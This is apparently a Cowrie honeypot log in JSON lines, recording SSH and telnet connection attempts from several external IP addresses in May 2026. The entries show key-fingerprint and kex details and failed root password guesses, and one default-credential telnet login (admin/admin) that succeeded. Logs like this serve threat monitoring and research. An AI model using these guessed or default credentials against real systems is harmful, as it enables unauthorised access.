{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:9b:a2:3a:10:7f:51:7b:36:0a:02:f6:40:56:1d:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDd4Ht/A7ErTonKk0oTzIxHpCtK3q1R2cNc5k9HktgGCNw85A0RegM6smJOsDibDxomQVR76dUWr+Fie8fRPu+nMMQAhuUiRiAIGQHjK8vDKAlvmvOACHUfyD0GpJwGZAe2nxZ8AiHBbzb0tK/tVDTd9HhuLUn6WIicjm+al8ZogNjux5b4QEZvNCMAd8evXw/6PUoiwAOnRGs37dKOT+CrBEGgirJUOQuZlUc+LgMX3nCBNVJ07hX08PRdEzqqz80/FaEKESWqmSHRUc2kXjDzwxT0m7wLxQ6t/IU1OpkyaAky8L8AzK+xUQpBTZJro7HTWpksF2Uvo6UDcvA6yUaD1CD+PYU/XCFY62H37Mk9g/bCKjE01pfYv146SVs3g/NCMkhzQxulxtfEAaHNiynJvk1ExLLPdCXeHJM1Dmp4pUfCnrLo89kFhwsXSW7HWOAFK7g59rj5Wd9AOG0dmBtqZ9eE9ukKOzV45znAzJfvvcPw6AVbxWVNi5J7aiv1zHDn2+HJCEmhPj9OFLjLq5BSXbNKFtkFaPBpmKXRqV/neOtSiO9w0Cu/utbErXC1f4edpYJsegwbJR4v4OWnrFZKxE4i4PT/xbwtCtyJ2QfxUF8ivzXaA1QqJi1IyYd4DIWfUPFnnVTRtYuLzUw7IeuS5LE09hYaO4XxgWHWlz/Yaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:9b:a2:3a:10:7f:51:7b:36:0a:02:f6:40:56:1d:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.424686Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:9b:a2:3a:10:7f:51:7b:36:0a:02:f6:40:56:1d:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDd4Ht/A7ErTonKk0oTzIxHpCtK3q1R2cNc5k9HktgGCNw85A0RegM6smJOsDibDxomQVR76dUWr+Fie8fRPu+nMMQAhuUiRiAIGQHjK8vDKAlvmvOACHUfyD0GpJwGZAe2nxZ8AiHBbzb0tK/tVDTd9HhuLUn6WIicjm+al8ZogNjux5b4QEZvNCMAd8evXw/6PUoiwAOnRGs37dKOT+CrBEGgirJUOQuZlUc+LgMX3nCBNVJ07hX08PRdEzqqz80/FaEKESWqmSHRUc2kXjDzwxT0m7wLxQ6t/IU1OpkyaAky8L8AzK+xUQpBTZJro7HTWpksF2Uvo6UDcvA6yUaD1CD+PYU/XCFY62H37Mk9g/bCKjE01pfYv146SVs3g/NCMkhzQxulxtfEAaHNiynJvk1ExLLPdCXeHJM1Dmp4pUfCnrLo89kFhwsXSW7HWOAFK7g59rj5Wd9AOG0dmBtqZ9eE9ukKOzV45znAzJfvvcPw6AVbxWVNi5J7aiv1zHDn2+HJCEmhPj9OFLjLq5BSXbNKFtkFaPBpmKXRqV/neOtSiO9w0Cu/utbErXC1f4edpYJsegwbJR4v4OWnrFZKxE4i4PT/xbwtCtyJ2QfxUF8ivzXaA1QqJi1IyYd4DIWfUPFnnVTRtYuLzUw7IeuS5LE09hYaO4XxgWHWlz/Yaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.429185Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:7a:90:58:d0:66:c2:52:a6:b8:67:c1:dd:57:dc:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL0Ipi5Z6Oq9M2Aasrz5YBwrHtjMkuhsDUJPeXKNub0cc6dt+4nDSg6cKLlrSWnqVdo5tC5j5Fv32C9M0b7XmW6+4ed0BAqw8zA9ZuEOpwg4kDHyzBzK7pfvANkEAtxHjyZAE6Ny+FnnC2m/3f0NccwP/k8r5whD+aVpoUD7mZ9pHKxq2WZF18FaipMoiC41y/3bnqe+Mn3mobqZsu8y1wNKKt2Obte1yVTH9g8di2AfhmEUAzxgTYgx7zyaEgKewVJyX+soZXZtCzTm0Vfd5pb7fvI45WJbHrYY1vgXRP94hIetIJF412yG660fuTg7OOn0y8w5hK1CEEci3AvVXb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:7a:90:58:d0:66:c2:52:a6:b8:67:c1:dd:57:dc:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.520386Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:7a:90:58:d0:66:c2:52:a6:b8:67:c1:dd:57:dc:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL0Ipi5Z6Oq9M2Aasrz5YBwrHtjMkuhsDUJPeXKNub0cc6dt+4nDSg6cKLlrSWnqVdo5tC5j5Fv32C9M0b7XmW6+4ed0BAqw8zA9ZuEOpwg4kDHyzBzK7pfvANkEAtxHjyZAE6Ny+FnnC2m/3f0NccwP/k8r5whD+aVpoUD7mZ9pHKxq2WZF18FaipMoiC41y/3bnqe+Mn3mobqZsu8y1wNKKt2Obte1yVTH9g8di2AfhmEUAzxgTYgx7zyaEgKewVJyX+soZXZtCzTm0Vfd5pb7fvI45WJbHrYY1vgXRP94hIetIJF412yG660fuTg7OOn0y8w5hK1CEEci3AvVXb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.524748Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:a8:22:c6:d7:58:07:e2:98:e2:84:56:a6:1f:4c:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgHrQjqlZ7lyMDpwuRB7DnF/glkWzaclcZxwdoK696dsS+7GrEQOWkr9JATziBgEahx/HZxAteKDgo1y1ljXojQDPhEhbsucgVEhgVUk6kPHoxiQkE0nlsfcWCWg2zlYKS9Iv+Rt04AOlCASNj5Tq5+AWTywGF3MO+IT9gX4RAOIOpn8PiE1PhxH9H/skTHeoSPQE2OZ/Z1R6B6zuNoKzvlJ0qb8u+3djnnnsI8kl55O6yDmFNxbBXJ9fQV87arN4D7F/oLhaLMeXqO9jDMTmhpV8gkmYkBczxDAgmy4B/6rtQIAcerMQ1SJrvJpcA6FNRwxZVKwLy+2g6341QvVUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:a8:22:c6:d7:58:07:e2:98:e2:84:56:a6:1f:4c:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.615571Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:a8:22:c6:d7:58:07:e2:98:e2:84:56:a6:1f:4c:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgHrQjqlZ7lyMDpwuRB7DnF/glkWzaclcZxwdoK696dsS+7GrEQOWkr9JATziBgEahx/HZxAteKDgo1y1ljXojQDPhEhbsucgVEhgVUk6kPHoxiQkE0nlsfcWCWg2zlYKS9Iv+Rt04AOlCASNj5Tq5+AWTywGF3MO+IT9gX4RAOIOpn8PiE1PhxH9H/skTHeoSPQE2OZ/Z1R6B6zuNoKzvlJ0qb8u+3djnnnsI8kl55O6yDmFNxbBXJ9fQV87arN4D7F/oLhaLMeXqO9jDMTmhpV8gkmYkBczxDAgmy4B/6rtQIAcerMQ1SJrvJpcA6FNRwxZVKwLy+2g6341QvVUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.619497Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:11:98:32:60:b7:87:67:25:32:a1:b5:09:6c:d3:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7i0rGthVYf8FXOS/kXaDgtOeXvZGbJglHvqP3+uLwh7Bh9sN2oW0+R0+rwaRH16Sfs9PWQOxnnr4PM+Rz8qP8OlcjDgVwm0geubp1WX+QuNe4tD85I+nzqjl7SVi5+AwE93rFxJAqjRbkb4X4DafmRqAgAL8les/eW8YkcnStYl51JSEfSJE3h2SgZx44D9sz2xGe8aFwLb6rOap43+GqKmoqp9JRAESumnfH24cijFNeE5BhLcjj07hJLfLzW0IuyjPBlhBCOJFn6YVIMsVopoiVUI8XkUyfg5V9kJuk0y+BbQLbAyr40rEtcz8BLYV2rjHaEkmhxGxGJVMLSlEOijNsQQuYYvaf0R5lRfNNnBl4oYWsWOhhl06CycLsTdWG5nkZkm2lmNORVsydy2QukQq6ojk6CJe8ScIf1wEB0WmVgGbmsMr0auwqTiL8ZzRRgvjJTnKVsY7CZqkf4Z0ycIHSlK4G0e1Fg3r29BeaG9VFPn4R2xyYL4t9dvuPKLOP4yp9p44C3C8rnLthjYydvpTT2YCDwfdwy2isj7IjEzxPxghnTnYsAY4j0Xt7y812XZ6tsTM/5D8RJ69rQWcNGqd5aIilC7zBalPwdmLIm8zIwv4R4TRtCbbdPF4RZDBdS+4SD+vwN/eJS8+MyidydMW/QIyeBbviSs/PoKv16w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:11:98:32:60:b7:87:67:25:32:a1:b5:09:6c:d3:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.711576Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:11:98:32:60:b7:87:67:25:32:a1:b5:09:6c:d3:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7i0rGthVYf8FXOS/kXaDgtOeXvZGbJglHvqP3+uLwh7Bh9sN2oW0+R0+rwaRH16Sfs9PWQOxnnr4PM+Rz8qP8OlcjDgVwm0geubp1WX+QuNe4tD85I+nzqjl7SVi5+AwE93rFxJAqjRbkb4X4DafmRqAgAL8les/eW8YkcnStYl51JSEfSJE3h2SgZx44D9sz2xGe8aFwLb6rOap43+GqKmoqp9JRAESumnfH24cijFNeE5BhLcjj07hJLfLzW0IuyjPBlhBCOJFn6YVIMsVopoiVUI8XkUyfg5V9kJuk0y+BbQLbAyr40rEtcz8BLYV2rjHaEkmhxGxGJVMLSlEOijNsQQuYYvaf0R5lRfNNnBl4oYWsWOhhl06CycLsTdWG5nkZkm2lmNORVsydy2QukQq6ojk6CJe8ScIf1wEB0WmVgGbmsMr0auwqTiL8ZzRRgvjJTnKVsY7CZqkf4Z0ycIHSlK4G0e1Fg3r29BeaG9VFPn4R2xyYL4t9dvuPKLOP4yp9p44C3C8rnLthjYydvpTT2YCDwfdwy2isj7IjEzxPxghnTnYsAY4j0Xt7y812XZ6tsTM/5D8RJ69rQWcNGqd5aIilC7zBalPwdmLIm8zIwv4R4TRtCbbdPF4RZDBdS+4SD+vwN/eJS8+MyidydMW/QIyeBbviSs/PoKv16w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.715828Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:06:55.806553Z","src_ip":"51.91.111.247","session":"cf1708f267de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.16552686691284,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:03.233419Z","src_ip":"152.42.224.71","session":"0dd62f50173a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f621a405166b","protocol":"telnet","message":"New connection: 152.42.224.71:35654 (10.17.0.5:23) [session: f621a405166b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:06.993348Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc587f6b49b3","protocol":"telnet","message":"New connection: 176.65.139.121:49552 (10.17.0.5:23) [session: bc587f6b49b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:09.243793Z"}
{"eventid":"cowrie.session.closed","duration":4.881843090057373,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:14.125516Z","src_ip":"176.65.139.121","session":"bc587f6b49b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":49558,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb79dfc5e99","protocol":"telnet","message":"New connection: 176.65.139.121:49558 (10.17.0.5:23) [session: 7eb79dfc5e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:14.204540Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50536,"dst_ip":"10.17.0.5","dst_port":23,"session":"545314fa5d3c","protocol":"telnet","message":"New connection: 152.42.224.71:50536 (10.17.0.5:23) [session: 545314fa5d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:19.177684Z"}
{"eventid":"cowrie.session.closed","duration":46.75027823448181,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:20.261211Z","src_ip":"152.42.224.71","session":"e281229213a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.667686939239502,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:23.872109Z","src_ip":"176.65.139.121","session":"7eb79dfc5e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":38850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee0748f5ca2","protocol":"telnet","message":"New connection: 176.65.139.121:38850 (10.17.0.5:23) [session: 7ee0748f5ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:23.950437Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4b609d5771b","protocol":"telnet","message":"New connection: 152.42.224.71:37536 (10.17.0.5:23) [session: f4b609d5771b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.051319Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":57894,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8d231183a4","protocol":"ssh","message":"New connection: 103.75.183.219:57894 (10.17.0.5:22) [session: 0a8d231183a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.153981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.159494Z","src_ip":"103.75.183.219","session":"0a8d231183a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.62021040916443,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.249138Z","src_ip":"152.42.224.71","session":"42b157e21e8b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.406056Z","src_ip":"103.75.183.219","session":"0a8d231183a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.464071750640869,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.414419Z","src_ip":"176.65.139.121","session":"7ee0748f5ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55098,"dst_ip":"10.17.0.5","dst_port":23,"session":"f566215e136b","protocol":"telnet","message":"New connection: 176.65.139.121:55098 (10.17.0.5:23) [session: f566215e136b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:28.490277Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfcbkbq","message":"login attempt [root/dfcbkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:29.150826Z","src_ip":"103.75.183.219","session":"0a8d231183a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:30.399775Z","src_ip":"103.75.183.219","session":"0a8d231183a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:36.572517Z","src_ip":"176.65.139.121","session":"f566215e136b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:36.627250Z","src_ip":"176.65.139.121","session":"f566215e136b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47918,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c96b8fb59f4","protocol":"ssh","message":"New connection: 193.228.128.84:47918 (10.17.0.5:22) [session: 6c96b8fb59f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:38.693694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:38.698817Z","src_ip":"193.228.128.84","session":"6c96b8fb59f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:38.801492Z","src_ip":"193.228.128.84","session":"6c96b8fb59f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"logitech","message":"login attempt [root/logitech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:39.110274Z","src_ip":"193.228.128.84","session":"6c96b8fb59f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33646,"dst_ip":"10.17.0.5","dst_port":23,"session":"300a887874f4","protocol":"telnet","message":"New connection: 152.42.224.71:33646 (10.17.0.5:23) [session: 300a887874f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:40.132971Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:40.218599Z","src_ip":"193.228.128.84","session":"6c96b8fb59f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.71217751502991,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:40.506675Z","src_ip":"152.42.224.71","session":"89c61b03c2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79127740859985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:40.784485Z","src_ip":"152.42.224.71","session":"f621a405166b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b4a3e6f163","protocol":"telnet","message":"New connection: 152.42.224.71:33650 (10.17.0.5:23) [session: 69b4a3e6f163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:40.836691Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"0918872313e1","protocol":"ssh","message":"New connection: 37.233.85.71:53960 (10.17.0.5:22) [session: 0918872313e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.057686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.062569Z","src_ip":"37.233.85.71","session":"0918872313e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.167732Z","src_ip":"37.233.85.71","session":"0918872313e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjghjghj9!","message":"login attempt [root/ghjghjghj9!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:07:41.482214Z","src_ip":"37.233.85.71","session":"0918872313e1","protocol":"ssh"}
